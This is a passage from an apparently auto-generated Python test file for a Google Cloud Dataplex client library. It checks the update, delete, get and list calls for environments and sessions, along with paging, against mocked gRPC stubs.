# using the keyword arguments to the method.
response = await client.update_environment(
environment=analyze.Environment(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].environment
mock_val = analyze.Environment(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_environment_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_environment(
service.UpdateEnvironmentRequest(),
environment=analyze.Environment(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize(
"request_type",
[
service.DeleteEnvironmentRequest,
dict,
],
)
def test_delete_environment(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteEnvironmentRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_environment_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_environment), "__call__"
) as call:
client.delete_environment()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteEnvironmentRequest()
@pytest.mark.asyncio
async def test_delete_environment_async(
transport: str = "grpc_asyncio", request_type=service.DeleteEnvironmentRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteEnvironmentRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_environment_async_from_dict():
await test_delete_environment_async(request_type=dict)
def test_delete_environment_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteEnvironmentRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_environment), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_environment_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteEnvironmentRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_environment), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_delete_environment_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_environment(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_environment_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_environment(
service.DeleteEnvironmentRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_delete_environment_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_environment(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_environment_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_environment(
service.DeleteEnvironmentRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListEnvironmentsRequest,
dict,
],
)
def test_list_environments(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListEnvironmentsResponse(
next_page_token="next_page_token_value",
)
response = client.list_environments(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListEnvironmentsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListEnvironmentsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_environments_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
client.list_environments()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListEnvironmentsRequest()
@pytest.mark.asyncio
async def test_list_environments_async(
transport: str = "grpc_asyncio", request_type=service.ListEnvironmentsRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListEnvironmentsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_environments(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListEnvironmentsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListEnvironmentsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_environments_async_from_dict():
await test_list_environments_async(request_type=dict)
def test_list_environments_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListEnvironmentsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
call.return_value = service.ListEnvironmentsResponse()
client.list_environments(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_environments_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListEnvironmentsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListEnvironmentsResponse()
)
await client.list_environments(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_environments_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListEnvironmentsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_environments(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_environments_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_environments(
service.ListEnvironmentsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_environments_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListEnvironmentsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListEnvironmentsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_environments(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_environments_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_environments(
service.ListEnvironmentsRequest(),
parent="parent_value",
)
def test_list_environments_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
analyze.Environment(),
analyze.Environment(),
],
next_page_token="abc",
),
service.ListEnvironmentsResponse(
environments=[],
next_page_token="def",
),
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
],
next_page_token="ghi",
),
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
analyze.Environment(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_environments(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, analyze.Environment) for i in results)
def test_list_environments_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
analyze.Environment(),
analyze.Environment(),
],
next_page_token="abc",
),
service.ListEnvironmentsResponse(
environments=[],
next_page_token="def",
),
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
],
next_page_token="ghi",
),
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
analyze.Environment(),
],
),
RuntimeError,
)
pages = list(client.list_environments(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_environments_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
analyze.Environment(),
analyze.Environment(),
],
next_page_token="abc",
),
service.ListEnvironmentsResponse(
environments=[],
next_page_token="def",
),
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
],
next_page_token="ghi",
),
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
analyze.Environment(),
],
),
RuntimeError,
)
async_pager = await client.list_environments(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, analyze.Environment) for i in responses)
@pytest.mark.asyncio
async def test_list_environments_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_environments),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
analyze.Environment(),
analyze.Environment(),
],
next_page_token="abc",
),
service.ListEnvironmentsResponse(
environments=[],
next_page_token="def",
),
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
],
next_page_token="ghi",
),
service.ListEnvironmentsResponse(
environments=[
analyze.Environment(),
analyze.Environment(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_environments(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.GetEnvironmentRequest,
dict,
],
)
def test_get_environment(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_environment), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analyze.Environment(
name="name_value",
display_name="display_name_value",
uid="uid_value",
description="description_value",
state=resources.State.ACTIVE,
)
response = client.get_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetEnvironmentRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analyze.Environment)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.state == resources.State.ACTIVE
def test_get_environment_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_environment), "__call__") as call:
client.get_environment()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetEnvironmentRequest()
@pytest.mark.asyncio
async def test_get_environment_async(
transport: str = "grpc_asyncio", request_type=service.GetEnvironmentRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_environment), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analyze.Environment(
name="name_value",
display_name="display_name_value",
uid="uid_value",
description="description_value",
state=resources.State.ACTIVE,
)
)
response = await client.get_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetEnvironmentRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analyze.Environment)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.state == resources.State.ACTIVE
@pytest.mark.asyncio
async def test_get_environment_async_from_dict():
await test_get_environment_async(request_type=dict)
def test_get_environment_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetEnvironmentRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_environment), "__call__") as call:
call.return_value = analyze.Environment()
client.get_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_environment_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetEnvironmentRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_environment), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(analyze.Environment())
await client.get_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_get_environment_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_environment), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analyze.Environment()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_environment(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_environment_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_environment(
service.GetEnvironmentRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_get_environment_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_environment), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analyze.Environment()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(analyze.Environment())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_environment(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_environment_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_environment(
service.GetEnvironmentRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListSessionsRequest,
dict,
],
)
def test_list_sessions(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListSessionsResponse(
next_page_token="next_page_token_value",
)
response = client.list_sessions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListSessionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListSessionsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_sessions_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
client.list_sessions()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListSessionsRequest()
@pytest.mark.asyncio
async def test_list_sessions_async(
transport: str = "grpc_asyncio", request_type=service.ListSessionsRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListSessionsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_sessions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListSessionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListSessionsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_sessions_async_from_dict():
await test_list_sessions_async(request_type=dict)
def test_list_sessions_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListSessionsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
call.return_value = service.ListSessionsResponse()
client.list_sessions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_sessions_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListSessionsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListSessionsResponse()
)
await client.list_sessions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_sessions_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListSessionsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_sessions(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_sessions_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_sessions(
service.ListSessionsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_sessions_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListSessionsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListSessionsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_sessions(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_sessions_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_sessions(
service.ListSessionsRequest(),
parent="parent_value",
)
def test_list_sessions_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListSessionsResponse(
sessions=[
analyze.Session(),
analyze.Session(),
analyze.Session(),
],
next_page_token="abc",
),
service.ListSessionsResponse(
sessions=[],
next_page_token="def",
),
service.ListSessionsResponse(
sessions=[
analyze.Session(),
],
next_page_token="ghi",
),
service.ListSessionsResponse(
sessions=[
analyze.Session(),
analyze.Session(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_sessions(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, analyze.Session) for i in results)
def test_list_sessions_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_sessions), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListSessionsResponse(
sessions=[
analyze.Session(),
analyze.Session(),
analyze.Session(),
],
next_page_token="abc",
),
service.ListSessionsResponse(
sessions=[],
next_page_token="def",
),
service.ListSessionsResponse(
sessions=[
analyze.Session(),
],
next_page_token="ghi",
),
service.ListSessionsResponse(
sessions=[
analyze.Session(),
analyze.Session(),
],
),
RuntimeError,
)
pages = list(client.list_sessions(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_sessions_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_sessions), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListSessionsResponse(
sessions=[
analyze.Session(),
analyze.Session(),
analyze.Session(),
],
next_page_token="abc",
),
service.ListSessionsResponse(
sessions=[],
next_page_token="def",
),
service.ListSessionsResponse(
sessions=[
analyze.Session(),
],
next_page_token="ghi",
),
service.ListSessionsResponse(
sessions=[
analyze.Session(),
analyze.Session(),
],
),
RuntimeError,
)
async_pager = await client.list_sessions(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, analyze.Session) for i in responses)
@pytest.mark.asyncio
async def test_list_sessions_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_sessions), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListSessionsResponse(
sessions=[
analyze.Session(),
analyze.Session(),
analyze.Session(),
],
next_page_token="abc",
),
service.ListSessionsResponse(
sessions=[],
